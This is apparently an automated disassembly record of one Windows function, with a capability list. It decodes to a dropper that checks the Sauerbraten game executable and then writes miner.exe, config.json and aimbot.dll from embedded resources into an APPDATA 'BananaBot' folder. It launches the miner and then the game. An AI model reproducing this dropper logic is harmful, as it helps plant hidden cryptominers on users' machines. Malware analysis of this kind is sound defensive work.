Function at 0x402150
Capabilities:
Create directory
Create process on windows
Delete file
Extract resource via kernel32 functions
Get file size
Query environment variable
Read file on windows
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push r15
mov eax, 0x1a68
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
call fcn.00404650
sub rsp, rax
mov edx, 0x65
mov r8d, 0x400
movabs rax, 0x4d4152474f525025
mov r12, qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov qword [rsp + 0x100], rax
lea rbx, [rsp + 0x260]
movabs rax, 0x38582853454c4946
mov qword [rsp + 0x108], rax
lea rbp, [rsp + 0x660]
movabs rax, 0x657561535c252936
mov qword [rsp + 0x110], rax
movabs rax, 0x5c6e657461726272
mov qword [rsp + 0x118], rax
movabs rax, 0x61735c34366e6962
mov qword [rsp + 0x120], rax
movabs rax, 0x6574617262726575
mov word [rsp + 0x134], dx
mov rdx, rbx
lea rcx, [rsp + 0x100]
mov qword [rsp + 0x128], rax
mov dword [rsp + 0x130], 0x78652e6e
call r12
mov r8d, 0x400
mov rdx, rbp
lea rcx, str._PROGRAMFILES_X86__Sauerbraten
call r12
xor r9d, r9d
mov r8d, 1
mov rcx, rbx
mov qword [rsp + 0x30], 0
mov edx, 0x80000000
mov rsi, qword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
call rsi
cmp rax, 0xffffffffffffffff
mov rdi, rax
je 0x402318
lea rdx, [rsp + 0xb8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x402330
mov r14, qword [rsp + 0xb8]
mov rcx, r14
call sub.msvcrt.dll_malloc
test rax, rax
mov r13, rax
je 0x402330
mov rcx, rdi
mov r8d, r14d
mov rdx, rax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0xac]
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rdi
test eax, eax
je 0x402650
lea rdi, [rsp + 0x180]
mov r15, qword [sym.imp.KERNEL32.dll_CloseHandle]
call r15
mov rcx, rdi
call fcn.00402c60
mov r8d, dword [rsp + 0xac]
mov rcx, rdi
mov rdx, r13
call fcn.00402db0
mov rcx, rdi
add rdi, 0x58
call fcn.00402e90
movabs rax, 0xd7c6f08ca0220b18
cmp qword [rsp + 0x1d8], rax
je 0x402340
add rsp, 0x1a68
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x402318
movabs rax, 0x2dbf0b17ffa57a6c
cmp qword [rdi + 8], rax
jne 0x402318
mov rcx, r13
call sub.msvcrt.dll_free
lea r13, [rsp + 0xa60]
mov r8d, 0x400
xor edx, edx
mov rcx, r13
call sub.msvcrt.dll_memset
mov r8d, 0x400
mov rdx, r13
lea rcx, str._APPDATA_BananaBot
call r12
mov rax, r13
nop word cs:[rax + rax]
mov ecx, dword [rax]
add rax, 4
lea edx, [rcx - 0x1010101]
not ecx
and edx, ecx
and edx, 0x80808080
je 0x402390
lea r12, [rsp + 0xe60]
mov ecx, edx
lea r14, [rsp + 0x1660]
shr ecx, 0x10
test edx, 0x8080
cmove edx, ecx
lea rcx, [rax + 2]
mov edi, edx
cmove rax, rcx
add dil, dl
mov rcx, r13
sbb rax, 3
sub rax, r13
movsxd rdx, eax
add eax, 1
cdqe
mov byte [rsp + rdx + 0xa60], 0
xor edx, edx
mov byte [rsp + rax + 0xa60], 0
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov rdx, r13
mov rcx, r12
call sub.msvcrt.dll_strcpy
lea rax, [rsp + 0x1260]
mov rdx, r13
mov rcx, rax
mov qword [rsp + 0x58], rax
call sub.msvcrt.dll_strcpy
mov rdx, r13
mov rcx, r14
call sub.msvcrt.dll_strcpy
mov rdx, r12
mov ecx, dword [rdx]
add rdx, 4
lea eax, [rcx - 0x1010101]
not ecx
and eax, ecx
and eax, 0x80808080
je 0x40242e
mov ecx, eax
shr ecx, 0x10
test eax, 0x8080
cmove eax, ecx
lea rcx, [rdx + 2]
mov edi, eax
cmove rdx, rcx
add dil, al
movabs rax, 0x652e72656e696d5c
sbb rdx, 3
mov qword [rdx], rax
mov eax, 0x6578
mov word [rdx + 8], ax
mov byte [rdx + 0xa], 0
mov rdx, qword [rsp + 0x58]
mov ecx, dword [rdx]
add rdx, 4
lea eax, [rcx - 0x1010101]
not ecx
and eax, ecx
and eax, 0x80808080
je 0x402482
mov ecx, eax
shr ecx, 0x10
test eax, 0x8080
cmove eax, ecx
lea rcx, [rdx + 2]
mov edi, eax
cmove rdx, rcx
add dil, al
movabs rax, 0x2e6769666e6f635c
sbb rdx, 3
mov qword [rdx], rax
mov dword [rdx + 8], 0x6e6f736a
mov byte [rdx + 0xc], 0
mov rdx, r14
mov ecx, dword [rdx]
add rdx, 4
lea eax, [rcx - 0x1010101]
not ecx
and eax, ecx
and eax, 0x80808080
je 0x4024d2
mov ecx, eax
shr ecx, 0x10
test eax, 0x8080
cmove eax, ecx
lea rcx, [rdx + 2]
mov edi, eax
cmove rdx, rcx
add dil, al
mov rcx, r12
movabs rax, 0x2e746f626d69615c
sbb rdx, 3
xor r9d, r9d
xor r8d, r8d
mov qword [rdx], rax
mov dword [rdx + 8], 0x6c6c64
mov edx, 0x40000000
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 2
call rsi
cmp rax, 0xffffffffffffffff
mov rdi, rax
je 0x402318
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r8d, 0xa
mov edx, 1
mov qword [rsp + 0x60], rax
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindResourceA]
mov qword [rsp + 0x78], rax
call rax
test rax, rax
je 0x402671
mov rdx, rax
mov qword [rsp + 0x70], rax
mov rax, qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x80], rax
call rax
mov r8, qword [rsp + 0x70]
test eax, eax
mov dword [rsp + 0x68], eax
je 0x402671
mov rax, qword [sym.imp.KERNEL32.dll_LoadResource]
mov rdx, r8
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x70], rax
call rax
test rax, rax
je 0x402671
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LockResource]
mov qword [rsp + 0x88], rax
call rax
mov edx, dword [rsp + 0x68]
mov rcx, rax
call fcn.00401f50
mov edx, dword [rsp + 0x68]
lea r9, [rsp + 0xb0]
mov rcx, rdi
mov qword [rsp + 0x90], r9
mov qword [rsp + 0x20], 0
lea r11d, [rdx - 0x2a]
lea rdx, [rax + 0x2a]
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
mov r8d, r11d
mov dword [rsp + 0x68], r11d
mov qword [rsp + 0x98], rax
call rax
mov rcx, rdi
test eax, eax
je 0x402648
mov r11d, dword [rsp + 0x68]
cmp r11d, dword [rsp + 0xb0]
je 0x40267c
call r15
jmp 0x402318
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r13
add rsp, 0x1a68
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
jmp sub.msvcrt.dll_free
mov rcx, rdi
call r15
jmp 0x402318
call r15
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov qword [rsp + 0x30], 0
mov rcx, qword [rsp + 0x58]
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 2
call rsi
cmp rax, 0xffffffffffffffff
mov rdi, rax
je 0x402318
mov r8d, 0xa
mov edx, 2
mov rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x78]
call rax
test rax, rax
je 0x402671
mov rdx, rax
mov qword [rsp + 0x68], rax
mov rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x80]
call rax
mov r8, qword [rsp + 0x68]
test eax, eax
mov dword [rsp + 0x58], eax
je 0x402671
mov rdx, r8
mov rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x70]
call rax
test rax, rax
je 0x402671
mov rcx, rax
mov rax, qword [rsp + 0x88]
call rax
mov edx, dword [rsp + 0x58]
mov rcx, rax
call fcn.00401f50
mov edx, dword [rsp + 0x58]
mov rcx, rdi
mov qword [rsp + 0x20], 0
mov r9, qword [rsp + 0x90]
lea r10d, [rdx - 0x32]
mov dword [rsp + 0x58], r10d
lea rdx, [rax + 0x2a]
mov r8d, r10d
mov rax, qword [rsp + 0x98]
call rax
mov rcx, rdi
test eax, eax
je 0x402648
mov r10d, dword [rsp + 0x58]
cmp r10d, dword [rsp + 0xb0]
jne 0x402648
call r15
lea rdx, [rsp + 0x1f4]
xor eax, eax
xor r9d, r9d
mov rdi, rdx
mov ecx, 0x19
xor r8d, r8d
mov dword [rsp + 0x1f0], 0x68
rep stosd dword [rdi], eax
lea rdx, [rsp + 0xc0]
mov ecx, 6
lea r10, [rsp + 0x1f0]
mov rdi, rdx
rep stosd dword [rdi], eax
mov qword [rsp + 0x58], r10
mov rcx, r12
mov r12, qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov qword [rsp + 0x48], rdx
xor edx, edx
mov qword [rsp + 0x40], r10
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call r12
test eax, eax
je 0x402962
call fcn.00401da0
test rax, rax
je 0x40298d
xor r9d, r9d
xor r8d, r8d
mov rcx, r14
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
call rsi
cmp rax, 0xffffffffffffffff
mov rdi, rax
je 0x4028fa
mov r8d, 0xa
mov edx, 3
mov rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x78]
call rax
test rax, rax
je 0x4029cc
mov rdx, rax
mov qword [rsp + 0x68], rax
mov rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x80]
call rax
mov r8, qword [rsp + 0x68]
test eax, eax
mov esi, eax
je 0x4029a2
mov rdx, r8
mov rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x70]
call rax
test rax, rax
je 0x4029cc
mov rcx, rax
mov rax, qword [rsp + 0x88]
call rax
mov edx, esi
sub esi, 0x2a
mov rcx, rax
call fcn.00401f50
mov rcx, rdi
mov r9, qword [rsp + 0x90]
mov r8d, esi
mov qword [rsp + 0x20], 0
lea rdx, [rax + 0x2a]
mov rax, qword [rsp + 0x98]
call rax
mov rcx, rdi
test eax, eax
je 0x4028f7
cmp esi, dword [rsp + 0xb0]
je 0x4029e7
call r15
xor edx, edx
mov rcx, qword [rsp + 0xc0]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
lea rdi, [rsp + 0x140]
mov ecx, 0xc
xor eax, eax
rep stosd dword [rdi], eax
lea rax, [0x004062e5]
mov dword [rsp + 0x148], 3
mov qword [rsp + 0x158], rax
lea rcx, [rsp + 0x140]
mov word [rsp + 0x160], 0x414
mov qword [rsp + 0x170], rax
mov qword [rsp + 0x150], r13
call qword [sym.imp.SHELL32.dll_SHFileOperationA]
jmp 0x402318
mov rcx, qword [rsp + 0xc0]
mov dword [rsp + 0x58], eax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov r8d, dword [rsp + 0x58]
mov ecx, 0xc
lea rdi, [rsp + 0x140]
mov eax, r8d
jmp 0x402919
xor edx, edx
mov rcx, qword [rsp + 0xc0]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x402318
mov rcx, rdi
call r15
mov rcx, qword [rsp + 0xc0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
lea rdi, [rsp + 0x140]
mov ecx, 0xc
mov eax, esi
jmp 0x402919
mov rcx, rdi
call r15
xor edx, edx
mov rcx, qword [rsp + 0xc0]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x40290a
call r15
lea rdx, [rsp + 0xe0]
xor eax, eax
xor r9d, r9d
mov rdi, rdx
mov ecx, 6
xor r8d, r8d
mov dword [rsp + 0x1f0], 0x68
rep stosd dword [rdi], eax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x48], rdx
mov rcx, rbx
xor edx, edx
mov qword [rsp + 0x38], rbp
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x20], 0
call r12
test eax, eax
je 0x402318
mov ecx, 0x1388
mov rbx, qword [sym.imp.KERNEL32.dll_Sleep]
call rbx
mov rcx, qword [rsp + 0xe0]
mov rdx, r14
call fcn.00401e80
test eax, eax
mov esi, eax
je 0x4029a8
lea rbp, [rsp + 0xb4]
mov rdi, qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov dword [rsp + 0xb4], 0
jmp 0x402a9d
cmp dword [rsp + 0xb4], 0x103
jne 0x402abc
mov ecx, 0x3e8
call rbx
mov rdx, rbp
mov rcx, qword [rsp + 0xe0]
call rdi
test eax, eax
jne 0x402a90
mov esi, eax
jmp 0x4029a8
xor edx, edx
mov rcx, qword [rsp + 0xc0]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0xc0]
call r15
mov ecx, 0x3e8
call rbx
jmp 0x40290a